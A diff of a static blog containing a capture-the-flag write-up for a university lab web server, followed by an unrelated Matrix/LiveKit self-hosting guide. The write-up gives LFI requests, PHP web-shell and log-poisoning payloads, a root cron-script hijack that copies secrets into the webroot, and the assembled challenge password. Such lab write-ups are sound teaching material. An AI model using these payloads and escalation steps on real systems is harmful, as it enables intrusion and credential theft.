    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/web/page/1/index.html b/public-clearnet/tags/web/page/1/index.html new file mode 100644 index 0000000..5b72cec --- /dev/null +++ b/public-clearnet/tags/web/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/web/ + \ No newline at end of file diff --git a/public-clearnet/tags/webrtc/index.html b/public-clearnet/tags/webrtc/index.html new file mode 100644 index 0000000..a8bb987 --- /dev/null +++ b/public-clearnet/tags/webrtc/index.html @@ -0,0 +1,13 @@ +Webrtc | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/webrtc/index.xml b/public-clearnet/tags/webrtc/index.xml new file mode 100644 index 0000000..b732cb3 --- /dev/null +++ b/public-clearnet/tags/webrtc/index.xml @@ -0,0 +1,351 @@ +Webrtc on AlipourIm journeyshttps://blog.alipour.eu/tags/webrtc/Recent content in Webrtc on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
